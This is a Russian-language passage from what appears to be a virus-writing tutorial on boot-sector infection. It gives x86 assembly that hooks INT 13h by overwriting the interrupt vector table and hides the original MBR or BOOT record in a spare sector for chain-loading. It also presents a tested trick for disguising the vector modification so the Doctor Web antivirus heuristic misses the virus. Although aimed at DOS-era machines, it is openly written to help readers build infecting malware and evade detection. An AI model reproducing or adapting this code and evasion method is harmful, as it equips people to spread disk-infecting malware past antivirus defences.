Читаем исходную BOOT-запись

Перехватываем Int 13h

Защита от антивирусных программ

В настоящее время существует только одна распространенная антивирусная программа, с которой следует считаться при разработке нового вируса. Это всем известный DOCTOR WEB. Благодаря довольно совершенному алгоритму эвристического анализа, DOCTOR WEB способен обнаружить новый вирус не только в файлах, но и в загрузочных секторах гибких и жестких дисков компьютера. В предыдущей главе мы рассмотрели, как можно скрыть присутствие вирусных кодов в файлах и оперативной памяти ЭВМ. Теперь, вероятно, следует рассказать, как решается задача маскировки загрузочного вируса. После нескольких дней экспериментов было установлено, что при поиске неизвестных загрузочных вирусов DOCTOR WEB пытается определить факт перехвата прерывания INT 13h, при этом антивирус даже не пробует пройти встроенным отладчиком подозрительную BOOT или MBR. Если, по мнению программы, INT 13h было перехвачено, выдается сообщение о возможном наличии в вашем компьютере неизвестного загрузочного вируса. Отсюда следует очевидный вывод:

Команду, задающую адрес в таблице векторов прерываний или выполняющую модификацию вектора INT 13h, следует зашифровать, и вирус найден не будет!

Однако сделать корректный шифровщик, хорошо работающий на любом процессоре, не так просто. Поэтому задача была решена следующим образом:

mov si,vvv - 100h ; mov word ptr es:[si],to_new_13h ;Установим mov word ptr es:[si + 2],cs ;вектор Int 13h ;на вирусный об- ;работчик ;

Как это ни странно, DOCTOR WEB "не догадался", что команда

mov si,vvv - 100h

пересылает в SI число 04Ch, имеющее прямое отношение к вектору прерывания Int 13h. Проверка приведенного метода на практике показала его пригодность.

Согласно описанному выше алгоритму, настало время перехватить прерывание Int 13h. Наш вирус будет использовать его для отслеживания операций с дискетами. Итак:

to_read_boot equ $ - my_prg ; ; read_boot: push cs ;DS = CS pop ds ; ; xor si,si ;SI = 0 mov es,si ;ES = SI ;Получим вектор ;Int 13h и сох- ;раним его : mov bx,word ptr es:[4ch] ; mov word ptr old_13h - 100h,bx ; mov bx,word ptr es:[4eh] ; mov word ptr old_13h_2 - 100h,bx ; ; mov si,vvv - 100h ; mov word ptr es:[si],to_new_13h ;И установим mov word ptr es:[si + 2],cs ;вектор Int 13h ;на вирусный об- ;работчик ;

Прерывание здесь перехватывается путем непосредственной модификации вектора в таблице векторов прерываний. Константа " to_read_boot " задает смещение от начала вирусного кода до метки "read_boot", с которой и начинается код,выполняющий переопределение вектора Int 13h на вирусный обработчик. Дополнительных пояснений работа фрагмента не требует.

Сначала договоримся, где наш вирус будет хранить настоящую загрузочную запись (BOOT - для дискет или MBR - для жестких дисков).

Обычно на нулевой дорожке нулевой стороны винчестера используется только самый первый сектор, а остальные свободны. Поэтому было бы естественно сохранить MBR в одном из секторов нулевой дорожки. Нас заинтересовал сектор с номером 12, но можно было бы взять и любой другой. Только не следует выбирать сектора с очень большими номерами. Может случиться так, что, например сектора с номером 100 на диске просто не существует ( особенно это относится к старым накопителям ). Оптимальный номер - не выше двадцати.

Для дискет оригинальную BOOT - запись лучше всего записывать в последний сектор последней дорожки на первой стороне заражаемого диска.

Для того, чтобы с зараженного диска можно было загрузиться, вирус должен считать исходную загрузочную запись в память по адресу : 0000:7C00h и после выполнения необходимых действий передать ей управление:

mov dx,num_head - 100h ;Считаем настоя- mov cx,cyl_sect - 100h ;щий загрузочный mov bx,7c00h ;сектор в память mov ax,0201h ;по адресу int 13h ;0000:7C00h

В приведенном фрагменте задействованы ячейки памяти:

num_head dw 0 ;Здесь вирус cyl_sect dw 0 ;хранит номер ;головки,дорожки ;и сектора зара- ;женного диска , ;в которых запи- ;сана настоящая ;загрузочная ;запись .

Несколько позже мы разберемся,как определяются помещаемые в них значения.